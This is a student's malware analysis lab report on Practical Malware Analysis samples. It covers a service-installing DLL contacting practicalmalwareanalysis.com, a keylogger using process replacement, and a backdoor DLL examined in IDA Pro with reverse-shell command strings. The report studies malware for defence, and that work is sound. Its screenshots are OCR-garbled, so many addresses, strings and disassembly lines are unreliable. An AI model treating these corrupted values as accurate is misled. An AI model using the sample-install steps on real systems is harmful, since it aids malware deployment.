100058860 MSYCRT.AI 100050100 - 005B R ReaClozek.ey

100050714k 0045K OpenSCanagerd,
10005018k 004CH CreateS erviced,

1000501CH 0034k ClozeServiceH andle
100050200 00SEHR RegCreatel.eud,

10005024k 0036H RegSetaluek wb
10005028H O0BER FeqisterServiceCtrlH andler,
1000502CH 00&Eh SetServiceStatus

W | &= |

Entry Point | Ord Mame

10004706k 1 Inztall

ehd ain

Se B
allService

10004E18h 3

ninst

10004B0BR 4 inztalld,
10004C2Bk & uriristalld

Figure 1.1 — Lab03-02.dIlI’'s Imports and Exports showing likely service capabilities

Running streams also gives us a lot of useful insight into potential actions. Most of which
are found as imported functions, however, there are others worth noting that my be useful
host/network-based indicators. These include some very distinctive strings, potential registry
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locations and file or network names, as well as some base64 encoded strings hinting at some
functionality (Figure 1.2).

Stril SlurlE\ mmmtun@nmlnl.

practicalmalwareanalysis.com *r!-ntemnooth\.sfsim'qs\-mos:.e-ce -k netsves connect
serve.html DpensCManagern| | dWirdiBwbil unsupgort
Windows XP .11 You specify service name not in Swchost//netsves, must be one of following:  c2xITXA= sheep
cmid.exe [t RegOueryValuetx|Svchost\netsves) Y21k cmd
GetModuleFileName() get dil path netives cxXVpdass quit
Intranet Network Awareness [INA+) RegOpenieyEx(%s) KEY_QUERY_VALUE success.

KSystemAoot\Systemilswchost.exe -k RegOpenkeyEx(%s) KEY_QUERY_VALUE error

SYSTEM\ CusrentControlSet\ Services), SOFTWARE\Microsoft\Windows: NT\CurrentVarsion Svchost

CreateService|%s) emor %d IPRIP

Depends INA#, Collects and stores network configuration and location infermation, and notifies applications when this information changes.

Figure 1.2 — Lab03-02.dIl’s strings showing potential functionality.

Now we have a starting point to look out for, we can prepare our environment for trying to
run the malware — clearing procmon, taking a registry snapshot, and setting up the network.

ii- To install the malware, pass one of Tnstall or installa (found from the exports) into
rundl132.

Executing C:\rund1132.exe Lab03-02.d11,install doesn’t give any immediate
feedback on the command line, within process explorer, or Wireshark/iNetSim, however
taking a 2nd registry snapshot and comparing the two, it’s clear that keys and values have
been added — many of these matching up with what we found from strings (Figure 2.1)

Keys agded: B

fdothCoantral

security
AT _PROCEXFL $240000Cont ral

VIPRIP\PAr smaters
ces\IPRIMSecur ity

orcrolhactiveservice: “PROCEPLS2"

H)‘"lﬂmﬂml SysTemi 32NEVE nf‘ L EEg -k neTEves”
Eranet Network swareness (INAs)"

OeLean INA+, Collects and stores network configuratfon and location informatfon, and notifies

030‘105300"30900000[—0
cenll: “Ci\pacuments and Settings'a o' PMA_Labs\Practical Malware Analys
C ] 00 14 B0 50 Ll‘.'ID'JL\Jf' -.‘JU-JU I-Jf.l\JE-\JLlil}[.lL-[.lLl"Ldl \]J.GL-JT.I\JEI-J?SI

woontrolhact iveService: “PROCEXPLS2

[:ue ds Ihbf Collects and stores network configuration and Tocation information, and notii
fce: 52 JO 70 00 B3 OO 53 00 7F 0D 0O 00 00 00

feenl: "C:\Documents and settingsadministrator\Desktop\PMa_Lubs\pr act' a1 Halware -!m":.-
& f 00 14 80 90 00 00 00 9C 00 00 OO 14 00 00 00 30 00 00 00 02 00 IC 00 01 OO0

&I Dape
\IPRIP\Paramet
WIPRIPSECUr Ty

M Cur T8
HELMY, STSTE"‘ NCurr entCont
HELM ST STEMCUr F entL mrrn

Figure 2.1 — Registry keys and values added as a result of installing Lab03-02.dl|

We can see within the regshot comparison that something called 1prIP has been added as a
service, with some of the more identifiable strings as \DisplayName or \Description. The
image path has also been set to $SystemRoot%\System32\svchost.exe -k netsvcs which
shows the malware is likely to be launched within svchost.exe with network services as an
argument.

1ii- Since we have installed lab03—02.dll as a service, we can now run this and we see the
same \DisplayName + update found from the added reg values (Figure 3.1).
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sJDocuments and SettingssAdminisztratorsDesktopsPMA_LabssPractical Malware Analy
iz Labs“BinaryCollection~Chapter_3LXnet start IPRIP

he Intranet Metwork Awareness C(IMA+} zervice is starting.

he Intranet HNetwork Awareness

CINA+} zervice was

started successfully.

Figure 3.1 — Starting the IPRIP service

Checking out ProcessExplorer to see what’s happened, we can search for the Lab03—-02.dll

which will point us to the svchost.exe instance that was created.

%% Process Explorer - Sysinternals:

File Optiore  Vieww Process Find CLL

whew sysinter nals.com [(CXE-242AB61 SEASVAdn |

Us=rs  Hzlp

Friocess CPU  Frivale Bwes Wwotking Sat FID . Diescophen
— | Spstem Ide Process =R oK 2B K o
T Spstam oK 2Eq K £
T Imbeinants < 0m 0K 0K e Hardwsaie Irke
=[] smzz mxe 168 K HEE 580 Windowes NT 5
[leosrss.ex= 1.568 K 1936 K BE32 Chert Server |
= m winlagon sxe TAT2 K 4. 3B K. 12 wwirdcass NT L
=1 [ services aws 1,760 K 34K T5E Sarvices and O
= vmacthilp. e 6 K. 2,380k W0 W Aware Activg
= [ svchostaze 25649 K 4 E3IEEK 956 Generic Hoat
A wmvpevse oxe A500 K 8.356 K 1700 W11
PR ese e 1,800 K LFFEE AE4 WL
:xuchDsLexe- 1824 K 4. 2EE 1004 Genesc Hesl H
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CPU Usage: 1.09%
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Figure 3.2 — Process Explorer showing svchost.exe launched with Lab03-02.dlI

We can identify various indicators which attribute Lab03—02.dll to this instance of
svchost.exe thorough the inclusion of the .dll, the service display name “Intranet Network
Awareness (INA+)”, and the command line argument matching what has been found in
strings. This helps us to confirm that Lab03—02.dll has been loaded — note the process ID,
1148. We’ll need this to see what’s going on in ProcMon!

iv- Checking out ProcMon, filtered on PID 1148, we see a whole load of registry
RegOpenKey and ReadFiles, however, seems mostly svchost.exe related and nothing jumps

out as malicious.

v- Turing our attention to look for network-based indicators, we have traffic captured within
Wireshark, as well as logged within iNetSim. To give us an idea of what to look for, we can
check out the iNetSim logs first (Figure5.1), which show us that we have seen 2 notable
types of activity; DNS and HTTP connections. The DNS appears to be periodic requests to
practicalmalwareanalysis.com (Which we previously saw similar with Lab03—01.exe),
as well as a HTTP GET request to http://practicalmalwareanalysis.com/serve.html
which attempts to download a file. Fortunately, as we had iNetSim set up to respond, it
provides a dummy file to complete the request —
/var/lib/inetsim/http/fakefiles/sample.html. If we didn’t have this, we might have

downloaded somethin

g real nasty.
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5 connection, tupe: A

HTTF conhectlon, method: GET, URL: http:ss 1 ‘wpad. dat, file name: n

ET, URL: http://practicalmalusrean: . rve.ht
nple. html

Figure 5.1 — iNetSim logs of Lab03-02.dIl’s DNS and HTTP request

We’re able to look at these within Wireshark and inspect the packets in more detail. Filtering
on DNS, we’re able to see the DNS request to practicalmalwareanalysis.com (Figure
5.2). Finding the conversation between the host and iNetSim and following the TCP stream,
we’re able to see the content within the HTTP GET request to
http://practicalmalwareanalysis.com/serve.html(F&guﬁ:SQ)fThBZﬂSOShO“B
iNetSim’s dummy content replacing serve.hmt1 .

Stream Content

GET /serve.htm] HTTR/1.1

ACcept: W/

User-Agent: cxe-542abfl5eal windows xP 6.11
Host: practicalmalwareanalysis.com

HTTP/1.1 200 QK

Connection: Close

Date: Mon, 06 Jul 2020 13:52:43 GMT
content-Length: 258

Sarver: INetsim HTTP Server
Content-Type: text/ html

<htm1>
<head:>
<titlesInetsim default HTML page</titles
</heads>
<hody>
<</
<p align="center">This is the default HTML page for INetSim HTTP server fake mode.</

P>
<p align="center">This file is an HTML document.</p>
</hody>
</ htmTs
I

C:“Documents and Settings“Administratori*nc -1 —p 8@
GET rzerve.html HTTP-1.1
Accept: /%

User—Agent: cxe—742ab6l15eas Windows P 6.11
Hozt: practicalmalwareanalysis.com

Figure 5.3 — Netcat receiving HTTP GET header

Reverting to snapshot and reinstalling & launching the malicious .dll/service, we can also
capture traffic by using ApateDNS to redirect to loopback were we have a Netcat listener on
port 80 (Figure 5.3). Here, we see the same HTTP GET header as we did within Wireshark.

Referring back to the strings output, “practicalmalwareanalysis.com”, “serve.html”, and
“Windows XP 6.11" are also evident within the network analysis and can be used as
signatures for the malware.

To recap on the main host/network-based indicators we see:

o 1prIP installed as a service, including strings such as “Intranet Network Awareness
(INA+)”

e Network activity to “practicalmalwareanalysis.com/serve.html” as well as the User-
Agent %ComputerName% Windows XP 6.11.

g. Execute the malware found in the file Lab03-03.exe while monitoring it using basic
dynamic analysis tools in a safe environment
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i- After prepping for dynamic analysis, launch Lab03—03.exe and you may notice it appear
briefly within Process Explorer with a child process of svchost.exe. After a moment
however, it disappears leaving svchost .exe orphaned (Figure 1.1).

Process cPLu Private Bytes wwlarking Set FiD D escription Cormparm M anmes
] Swstem |dis Process 99.30 oK 28 K [u}
=1 ] Swystem ok 244 K 4
1 Inberruapts < o ok ok n'a Hardware Intermupts and DPCs
=[] smessene 168 K 288 K 520 Wirndows MT Session Mana...  Microsoft Corporation
Y osrss.cxne 1.828 K 4,932 K B32 Client Server Runtime Process Micrasoft Corporation
= .. wirdogon. ene 7,480 K 4,892 K 712 Wirdows MNT Logon Applcat... Microsoft Corporation
= i ewplorer exs 19,432 K 13,252 K. 1748 Windows Explorer Microsoft Corporation
] wmtcolsd, exne 14,736 K 19,020 K 1942 Vidware Tools Core Service Wiklvaare, Inc.
3 notepad. ewe 988 K 384 K 2620 Motepad Fscrosoft Corporaton
B8 cmd. exs 1.948 K 2,556 KK 2248 Windowss Command Proceszsor Microsoft Corporation
2y Procron. ese E7. 500 K. 8,192 K A0 Process b onitor Syzinternals - W spzanter
i+ il Regshot-w868-Unicods. exns AB.720 K 51.432 K 2498 Regshot 1.9.0 <88 Unicods Fegshat Team
MMl wWweshark.exe o.z2o 95,416 K B.244 K 1536 Wireshaik The wWireshark dewveloper ...
LB Procep. exe 72K S 622 Syzintemals Process Explorer  Swysinternals - wwwwe spsinter.
= = = 020 Gereric Host P for Wi Microsoft Corporation

Figure 1.1 — Orphaned svchost.exe

An orphaned process is one with no parent listed in the process tree. svchost.exe typically
has a parent process of services.exe, but this one being orphaned is unusual and
suspicious.

Investigating this instance of svchost.exe, we see it has a Parent: Lab03-03.exe (904),
confirming it’s come from executing Lab03—03.exe. Exploring the properties further, we
don’t see much anomalous until we get to the strings.

ii- Utilizing strings within Process Explorer is actually a useful trick to analyse malware
which is packed or encrypted, because the malware is running and unpacks/decodes itself
when it starts. We’re also able to view strings in both the image on disk and in memory.
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Figure 2.1 — Comparing strings in memory from process explorer and from running strings on
Lab03-03.exe

Taking advantage of this, we can inspect the strings in Image and in Memory, as well as
compare against what we found from strings during quick static analysis.

The strings on image appear pretty consistent with other instances of svchost.exe however,
within Memory, these much greater resemble what we discovered earlier, but with a few
distinct differences — practicalmalware.log and a set of keyboard commands (Figure
2.1). This is an indicator that the keylogger guess might be accurate.

i1i- To test the keylogger hypothesis, we can open something and type stuff. To target
explicitly on the malware, filter on the suspect svchost.exe (PID, 3936) within Process

Monitor, and we see a whole load of file manipulation for practicalmalwareanalysis.log
(Figure 3.1).

Sd7-3 wehnst e e S.I'hnrﬁh CADocumests ard Selfisg=ia, SHCCESS
TP “Jevchodene A e Oreanatla CoDozametz ard Sellingea SUCCESS Caciad Azoess Genancwhile. Raad Athbites. Digpoeiion: Opsn
SdlEL. j&'\';'lu:’.tﬂ! e - IE‘ULI:I}.':;ld'IJdIL'L..L; sUozumentz ard Sellirgad SULLESS Alocaliorizim 34 Srd e 22 Mumbs Dbk e 7, Delia™an
SaFIL jn‘:husteﬂe 3 B'Mbe:le CaDosuments ard Sellings'A. . SUCCESS Difzek 342, Leralk 1
Sd7:3. T Jrechostear 2% [BhClaefie CADazuments ard Selfingsth  SUCCESS
Sd7E | Twenhnstran FE B CrebeF e CADncumests ard Selfingstd SHCCESS Dipsied Seness Gesoric Wil Bead Stibotes, Dizpeaiinn: D
TP Javchodt e 035 oh DieyStandadl.. CDosumends srd Selingeks, SUCCESS alocationdize: 344 EndDIFie: 43 Mumba Dilinks 7. Delea™an
Al h v chud see ; ] IE‘- M- b LsDocaments ard Sellimged, SULLESS el 343, Lerglh 12

g Ezr.':huste:l! i B TR R T CaDosuments ard Sellings'A. SUCCESS Difsek 355, Lerclie 52
Sd7:E.. T Jrechostear G W CDozaments ard SeltingsiAdmirishabort Dekiop\PA_Labs\Fractical Malvare Snsluei: Labs\inaC oectisn\Chapher :F_\ptacli:zlnalulurall_,lsis.hgh
Sd7:E, =wechnst el A RE ST CADanamests ard Selfiag=id SHECESS
Garh. Jwvchostee T S OrearaFla CoDozumestz ard Sellingeia. SUCCESS Cacvad Aeoass Gerencwhile, Raad Aflibites. Digpoeition: Ope
L FRI v chod see e - BULH}.':;L:I'IJHIL'L..L; sUocamerds ard Sellinges SULLESS Aloceliorizime 416, Srd Fies 477 Mumbe Dbk e 7. Delia=an
S47:5.. ja‘:iu:texe FE BEHEEFI-E CaDosuments ard Sellings'A. SUCCESS
Sd7:E. T Jrechostear s E&Er&a‘.z-‘l& CADazuments ard Selfingsth  SUCCESS [Cesived Loress Gewnic Wnile, Fead Snibokes, Disposiion: Dpesy

Figure 3.1 — Process Monitor file manipulation from malicious svchost.exe

iv- Opening practicalmalwareanalysis.log, we find that the file captures inputted strings
and distinctive keyboard commands as seen within the memory strings from Process
Explorer (Figure 4.1). This confirms that Lab03-03.exe a keylogger using process
replacement on svchost .exe.

I practicalmalwareanalysis - Notepad
File Edit Format Miew Help

[window: 3_2 - mWotepad]

s
[window: Process Monitor Filter]

3936

[window: Analysis]

testl[ENTER]

[window: test - Motepad]

this is a test to see if we are getting key loggedn
[ENTER]pBACKSPACE my password is  supersecretpasswordl2311n
[ENTER] O [ENTER]goodbyen [ENTER] =

[window: Program Manager]

5

[window: Process Monitor - Sysinternals: www. sysinternals. com]
ss,

[window: swchost.exe:3936 Properties]
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Figure 4.1 — Evidence of Lab03-03.exe keylogging

h. Analyze the malware found in the file Lab03-04.exe using basic dynamic analysis
tools.

i-What happens when you run this file?
When we run the file. Process is created which opens up the CMD and then deleted the
original executable after making it execute and hide itself somewhere else.

ii-What is causing the roadblock in dynamic analysis?

The executable is evasive and trying to evade itself by checking whether the system is VM or
not. AV-Detection etc. Obviously this will make it difficult to observer the file via dynamic
analysis.

iii- Are there other ways to run this program?
The other ways can be to open this executable using Ollydbg or IDA pro where we can
analyze it in a more efficient way.
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Practical No. 2

Malware Analysis

a. Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The
goal of this lab is to give you hands-on experience with IDA Pro. If you’ve
already worked with IDA Pro, you may choose to ignore these questions and
focus on reverse engineering the malware

IDA Pro, an Interactive Disassembler, is a disassembler for computer programs that

generates assembly language source code from an executable or a program. IDA Pro enables
the disassembly of an entire program and performs tasks such as function discovery, stack
analysis, local variable identification, in order to understand (or change) its functionality.

This lab utilises IDA to explore a malicious .dll and demonstrates various techniques for
navigation and analysis. Any useful shortcuts will be identified.

i. What is the address of DIIMain?

The address off DIIMain is 0x1000D02E. This can be found within the graph mode, or within
the Functions window (figure 2).

e
BEdagaaaleaalalE
BeEea00R18aa0a2E
pedaaaaaleaalalE
gegaaaaalaaaba2E ; BOOL _ stdcall DLIMain{HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserwved)
pEaaaaaaleaanalE D11Main proc near
BEROaRR1Baa0a2E B Farncions el it
BEgaaaaaleaalalE hinstDLL= dword ptr 4 r::'":"""""""‘ Segmnt | Shart
BEOAG00E1BA002E fdufieason= dword ptr 8 ) bt sl sl
BEEE0aa18aa0a2E lpvReserved= dword ptr 8&Ch £ CllEstryPaint _unt 0000000010015160
BeAAEORR1686082E [T — e T
pefdapeel1e8aDalE 8B 44 24 88 MoV eax, [esp+fduReason] Rl et D000 00T
pEEAEERR1B0E0832 48 dec eax P Lnpeargamsibedinnn = e e
pBoadoaeleaalall eF BS CE @8 @8 8@ jnz loc_l@eaDle7 | Harcilacbeos ot SE0HS000 3 0CADF
' 7 ToChee it DOS0000010011306
[~ g .:_ll'i'n:l"rvm 'J;:: mrmul:::;f:;ﬂ
dgaacepe1eaabais BB 44 24 a4 moy 1

AR AAARATIn ©

Figure 2: Address of DIIMain

eax, [esp+hinstD
ks

ii. Where is the import gethostbyname located?

gethostbyname is located at 0x100163cc within .idata (figure 3).This is found through the
Imports window and double-clicking the function. Here we can also see gethostbyname also
takes a single parameter — something like a string.

.idata:1ee1s63cCC

extrn gethostbyname :dword

; CODE XREF:

; struct hostent *_ stdcall gethostbyname(const char *name)

3 sub_18881874+1D3Tp ...

Figure 3: Location of gethostbyname

iii. How many functions call gethostbyname?

Searching the xrefs (ctrl+x) on gethostbyname shows it is referenced 18 times, 9 of which
are type (p) for the near calll, and the other 9 are read (r) (figure 4). Of these, there are 5

unique calling functions.
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=] xrefs to gethostbyname

Direction Type Address Text

= ' sub_10001074:loc_10001... ds:gethosthyname
ES Up p sub_10001074+103 call  dsigethostbyname
@ Up p sub_10001074+266 call  ds:gethostbyname
Up p sub_10001365:loc_10001... call ds:gethostbyname
@ Up p sub_10001385+1D3 call ds:gethostbyname
Up p sub_10001365+266 call  ds:gethostbyname
Up p sub_10001656+101 call  ds:gethostbyname
Up p sub_1000203F +341 call  ds:gethostbyname
@ Up p sub_10002CCE+4FT call  ds:gethostbyname
@ Up r sub_10001074loc_10001... call ds:gethostbyname
@ Up r sub_10001074+103 call  ds:gethostbyname
Up r sub_10001074+266 call  ds:gethostbyname
@ Up r sub_10001365:loc_10001... call ds:gethostbyname
Up r sub_10001385+103 call  ds:gethostbyname
Up r sub_10001365+266 call  ds:gethostbyname
Up r sub_10001656+101 call  ds:gethostbyname
@ Up r sub_1000203F +341 call  ds:gethostbyname
@ Up r sub_10002CCE+4F7 call  ds:gethostbyname

Cancel Search

Line 1of 18

Figure 4: gethostbyname xrefs

iv. For gethostbyname at 0x10001757, which DNS request is made?

Pressing G and navigating to 0x10001757, we see a call to thegethostbyname function,
which we know takes one parameter; in this case, whatever is in eax — the contents of
off 10019040 (figure 5)

—

peeoBpEe1808174E A1 48 98 61 18 mow eax, off_leal9a4e
Pee00eBe18881753 83 C8 @D add eax, @Dh ; Add
eseeeese1eaalise se push eax ; nhame

FF 15 CC &3 @1 10 call ds:gethostbyname ; Indirect Call Near Procedure
oeoeeoeeleedl/sD BB Fe mow esi, eax
pEeeEEEe1088175F 3B F3 cmp esi, ebx ; Compare Two Operands
peeoeegeleedliel 74 5D jz short loc_l1e@e17Ce ; Jump if Zero (ZF=1)

Figure 5: gethostbyname at 0x10001757

The contents of o££ 10019040 points to a variable aThisIsRdoPicsp which contains the
string [This is RDO]pics.practicalmalwareanalysis.com. This is moved into eax

(figure 6).

M=

HEEEBBEBIREE1 AE AT 4H 98 H1 18 may eax, ﬂ‘f‘rJlWle

et :32h 2% 13 off_1ee19048  dd offset aThisTsAdo?ics?

BEBEPRRELAGE1TS? FF 15 CC 63 01 10 call  ds:gethost 4 il

BEBRIEAALAAEL T ] _ i L I
BEBERBEBIBEE1 S0 5H FH maw @51, fax

BEBEBRARLAABLTSF 3B F3 g esi, ebx i Compare Two Operands

BRERBRABAR1ABALTEL T4 5D jz short loc_1o@@17¢@ ; Jump if Zer ZF=1)

BEOERERG1AER17E]
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Figure 6: Contents of off 1001904 (aThislsRdoPicsP)

Importantly, oph is added to eax, which moves the pointer along the current contents. 0bh

can be converted in IDA by pressing H, to 13. This means the eax now points to 13

characters inside of its current contents, skipping past the prefix [This is RDO] and
resulting in the DNS request being made for pics.practicalmalwareanalysis.com.

v & vi. How many parameters and local variables are recognized for the subroutine at

0x10001656?

There are a total of 24 variables and parameters for sub 10001656 (figure 7).

===

aeeeaeoleealssc
a2aeaea0loealasse
2980000010081656
222220201002 1656
2eaeaeeeleealas6
aegeeeanlaealsess
geaearaleealass
agagaeaaloealsss
29808280 1008al1656
22eeaeeleeelssc
aoaeoeaaloealssse
a0a0aea0l0ealsss
aeeeaeeeleealsess
20oeaeeleealcso
aeg0eeaelaealaess
22009080108 1656
aeaeaeerleealsess
aeaeaaaleealsss
egeeaeaaleealsss
aoaoaeaaloealssse
20e0a0e0l100al1656
aeeeaeeoleealsss
2oaeaea0loealass
aoaeapanleealsass
292220201002 1656
aeeeareleealsss
aegeeeanlaealsss
agaeaeaaleealsss
agagaeaaloealsss
2980808 l1eealss6
e2eeaeerleealsss
aoaooeaaloealssse
aoaoapaalesalssc
aeeeaeeeleealssD
29aeaee1e8eal165E
agaeeeaalaealaesF
2egelpeeleealesd
agaeaeaaleealsesd
agaeapaalasalsss
egaeapelleealses’
2eeeepe0laeelss?

EC

oB

ce
53

78 o6 o2 e

FS FF FF

; stdcall
sub_l&d&lﬁsﬁ proc near

JHORD st

var_675= byte ptr -&75h
var_674= dword ptr &674h
hModule= dword ptr -678h
timeout= timewval ptr -&6&Ch
name= sockaddr ptr -6G64h
wvar_654= word ptr -654h

Dst= dword ptr -&65&h

Strl= byte ptr -644h
wvar_648= byte ptr -&48h
CommandLine= byte ptr -&3Fh
Str= bwte ptr -63Dh

var_638= byte ptr -638h
var_637= byte ptr -&37h
wvar_S44= byte ptr -544h
wvar_SécC= dword ptr -58Ch

var_5See= byte ptr -52ah
Buf2= byte ptr -4FCh
readfds= fd_set ptr -4BCh
buf= byte ptr -3B8h
war_3B8= dword ptr -3B8h

wvar_1A4= dword ptr -1a4h
var_194= dword ptr -194h
wWSsAData= WSAData ptr 19ah

lpThreadParameter= dword ptr
sub esp.,

push ebx

push ebp

push esi

push edi

call sub_leseleas ; Call
test eax, eax 3 Log
inz short loc_l1ee@@16BC ;

sub_l1eeels656(LPVOID

4

&678h ; Integer Subtraction

Figure 7: sub_10001656 parameters and varliables

Local variables correspond to negative offsets, where there are 23. Many are generated by
IDA and prepended with var however there are some which have been resolved, such as
name Or commandline. As we work through, we generally rename any of the important ones.

Parameters have positive offsets. Here there is one, currently 1pThreadpParameter. This may
also be seen as arg 0 if not automagically resolved.

vii. Where is the string \cmd.exe /¢ located in the disassembly?

Press a1t+T to perform a string search for \cmd.exe /c, which is stored as acmdexec, found
within sub_1000FF58 at offset 0x100101D0 (figure 8).
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X

000000RV10010100 68 34 5B 89 10  push
9PPOPARB100101D5 EB @5 Jmp
90000000100101D5

offset aCmdExeC ; "‘\\cmd.exe /c
short loc_1€1e1DC ; Jump

Figure 8: Location of \cmd.exe /c’
viii. What happens around the referencing of \cmd.exe /c?

The command cmd.exe /c opens a new instance of cmd.exe and the /c parameter instructs
it to execute the command then terminate. This suggests that there is likely a construct of
something to execute somewhere nearby.

Taking a cursory look around sub 1000FF58, we see several indications of what might be
happening. Look for push offset X for quick wins.

Towards the top of the function, we see an address that is quite telling of what is happening.
The offset aniMasterpDDDDD called at 0x1001009Dcontains a long message which includes
several strings relating to system time information (actually initialised just before), but more
notably reference to a Remote Shell (figure 9).

Figure 9: Contents of offset aHiMasterDDDDDD

Further on throughout the function, there are more interesting offset addresses with strings
that may provide an indication of activity.

Offset String

aQuit Quit

aExit Exit

acd cd

asc_18e95Cc5C >

aEnmagic enmagic

adxe2x WrAn iy nOx 2602 x\riynyriyn
aldle idle

aUptime uptime

alanguage language

aRobotwork robotwork

aMbase mbase

aMhost mhost

aMmodule mmodule

aMinstall minstall

aInject inject

alexploreExe . miexplore.exe
aCreateprocessG | CreateProcess() GetlLastError reports %d
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Figure 10: Offset strings within sub 1000FF58

Some of which are likely part of any commandline activity, whereas others may be
additional modules. Some of the notable ones might be

aInject, alexploreExe, and aCreateProcessG, which could be indicative of process
injection into iexplore.exe.

ix. At 0x100101C8, dword_1008ES5C4 indicates which path to take. How does the
malware set dword_1008E5C4?

The comparison of dword 1008E5C4 and ebx will determine whether \cmd.exe /c or
\command.exe /c is pushed; likey based upon the Operating System version to utilise the
correct command prompt (figure 11).

HRUIMIMLUNLEICE 18 LD L& th 26 10 cEp thurd_1eussscd, abx ; comzars 1
BHdEAFAELAIE 7L a7 jz shart Lec 18818107 wp LT Zor
BIARMAALAALALCE

i i
["rE "rE

(LU WL L T RS TS R L push wfuwul wmdixel D BB R 010

B ELAEIEI0E EB 45 jmp shart Lo 1861800 | Ju BERE A 1DT

BEOMARLARIEI0S BICOMEaR1AR1e 107 Inc_LRALRIDT:
PRNARAIRAIRINT & 28 50 25 R pusn nffueet s nwandl el

BOOMCONI AN DT
LK}

0l
RERMBALAALALIC

EESRES R T bor_18@1anne:
DIOPMMBILEALEICC A0 35 40 5 FF PP lua wax, [EEplomandlice] ; Load B

EETPE PE T BHaET] pusk e  Deat
BIMBEBELBNIELES E B8 A0 G0 s call  stroat tall

Figure 11: cmd.exe or command.exe options

Following the xrefs of dword 1008E5C4 , we see it written (type w) in sub 10001656, with
the value of eax. There is a preceding call to sub 10003695, where the function takes a look
at the system’s Version Information (using API call GetversionExa) (figure 12).

OAAMIMIALG 75 10 CF 1% B 18 cop denrd IMECECA, shx

re _OSVTRSIDSINTDA pir -

L -

nk_FXITIEE
wh IR -
NIRRT BN ST 24 14 - i el ®
L oy piturslnsFrrfremat |
o Caacsl 3 B B 1n
|ure v 3 6611 B
- i FESHAIRRIET B3 DL S5 I TR e dvord JRIEESCH, max)
HOARHAIILT [ 41 B0 0 all nek LHWIECT = - I
THON00R1 D IETT
OMEOIIDHIIEAT C8 BB ML B3 B0 push  iSEw ;o
THOMLOIIDRILET A3 T 8115 mow deord_102005CE, anx
FHOHLOIDMILD T 1 62 0L 18 call  dax !
FEOIEOIIRIEBS
FHOMOONIDNIESZ £ 66 A 02 00 call  meb_leeLiErr
FEARKSERIT RN TRN
SOOI IEST BD B4 M4 R B i lro @i, [ersabsahimiaalana]
FEREE R IRAE pah  em Ipks it
HOMHERIERIEAF 8 B2 A1 B4 B push  idh wierslarkegeested
B T N I TR TR T DU T
e
g we, wbx
42 hort oz LedileC
Figure 12:

There is a comparison between the versionInformation.dwPlatformId and 2, so looking
at the Windows Platform IDs we see that it is looking to see if ‘The operating system is
Windows NT or later.” If it is, then \cmd.exe /c is pushed. If not, then it is \command.exe
/c.

Xx. What happens if the string comparison to robotwork is successful?

The robotwork string comparison is completed using the function memcmp, which returns 0 if
the two strings are identical. The Jnz branch jumps if the result Is Not Zero. This means, if
the robotwork comparison is successful, returning 0, then the jump does not execute (the red
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path). If the memcmp was unsuccessful, then some other non-zero value would be returned and
the jump (green path) would be followed (figure 13).

[ ]

=
Daaggaaalanladdd i

paageaaalaaladdd

DRaaoaasalaaledds loc_lealadds: ; Size

pagoPacolaaleddd A @9 push g

fopa0e0alealedds 8D 85 48 FA FF FF lea eax, [ebp+Dst] . Load Effective Address
BEOBEA8810010440 68 CC 54 89 16 push offset aRobotwork ; “robotwork”
BPgagaaalaaleasl se push eax . Bufl

BEBB0aa818a18452 E8 81 4B a8 88 call mEmCmp ; Call Procedure
paao@aaalanleds2

DRaaeaaalaaledsy 83 C4 ac add asp, 12 ; dd

DRdgoaaalaaledsa 85 Ca test eax, edx ; Logical Compare
DRogoaaalaaleasc 75 aa qnz short loc_1@@18468 ; Jump if Not Zero (IF=8)
BAG0Eaa01a81845C

Figure 13: memcmp of robotwork

Not jumping, (and following the red path), leads to a new function sub_ 10005222 which
ﬁuﬂudesregﬂﬂjlkeysSOFTWARE\Microsoft\Windows\CurrentVersionMbrkTimeand
workTimes. The function is looking for values within the WworkTime and WworkTimes (
RegQueryValueExA) and if so, are displayed as part of the relevant arobotWorktime offset
addresses (via %d) (figure 14).

lemananinenssza b 02 pemk B : lpftweerved
B LaAREIT & B2 AR i LD pext effzer adarktire ek
[REasRMLBIIS S b 08 L P [ebpaphtbmesuli] ¢ hiy
SO0 LTSI T O] enll wex L g C=h ; 1

est-armian: s

i LB 33 r2 B2 32 30 poy dogaiop
AR pish e i
i —_—_ T TeIvT THT T
b I jasnaenaanaeas1a B 4% PR las ame, [wbpaTyze s [
‘!”‘_'_‘_'.:"”‘""""""'f:f' L L] push  eas i IpTepe
s F 36 30RaR RIS I0E 4 P push i IpResarved
[HenaEaaalems I 63 B4 & w1 pash oMset akmritimes %
e s . etuseoaELBEEs 165 FF TS PO pish  [dpbbdesaldt] | ARy
wrart loc_lESsrsi F e T TR T call ik | L Yilusken,
i L ] b pn e Boers 10
T W e fweE e, max
TR HE
ot ] puah  wex
AROGIAR BD AR FA P OFF FF Llea omc, [mopelieat] ; lamd
LGOS AHE S8 U4 40 W3 16 puat ofFset shobotworktises
0G0 50 push  mex i Dant
LERS30d PP DE well esl | el Iadt
A 04
ERE5ICE 33 C4 LB aed wap, 1an i tdd
BEACT S0 B3 G PR PP Lia v, [Epeleal] | Load
HGICE S 82 push @
il g push  wax i Sti

Figure 14: Querying SOFTWARE\Microsoft\Windows\CurrentVersion WorkTime and
WorkTimes registry keys

The start of the function takes in a parameter for SOCKET as s , which is then passed through
to a new function (sub_100038EE) along with the registry values (ebp) (figure 15).

T T ITT I
DREEMHR 1008524 i int cdecl sub 1BBE52AZ(SOCKE
DOER00100052A2 sub_1608@5242 proc near
DEESDNE 18085 1A
DREAIHEALDEA5LIAZ Dest= byte ptr -6eCh
BHEGIHEA1B8R52A2 var_68B= byte ptr -G08
DHEaMH00189005142 Data= byte ptr -28Ch
DEEGSHEA108A52IAT var_28B= byte ptr -Z2agi
BOEOBHR0 1005242 cbData= dword ptr -8Ch
DOEHHEE10805202 Types dword ptr -8
PoceaBaalecasAs phkResult= dword ptr -4 PO T IANARS Nl BL P4 TS TT FT Tes sax, [shp+Dast] ; Losd FFFective Addrass
SRAGHIAG1DEA52AZ E= dword ptr B bospeaa ] peat JDF S puth e i 5 imt
DOESDDaS 105 2AZ pRoaieoa] MAsIES FF 75 OF pash [ebpren] ;8
1MARACY TR &6 T% FF IT rall aub_ 1R ATT L

LRSI L MR L 5

becaneaalMOEIER A1 <4 18 i wsp, 10

PAAAEA T AR AFE

Figure 15: Passing registry values through SOCKET s
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Therefore, if the string comparison for robotwork is successful, the registry keys
SOFTWARE\Microsoft\Windows\CurrentVersion WorkTime and WorkTimes are queried
and the values passed through (likely) the remote shell connection.

xi. What does the export PSLIST do?

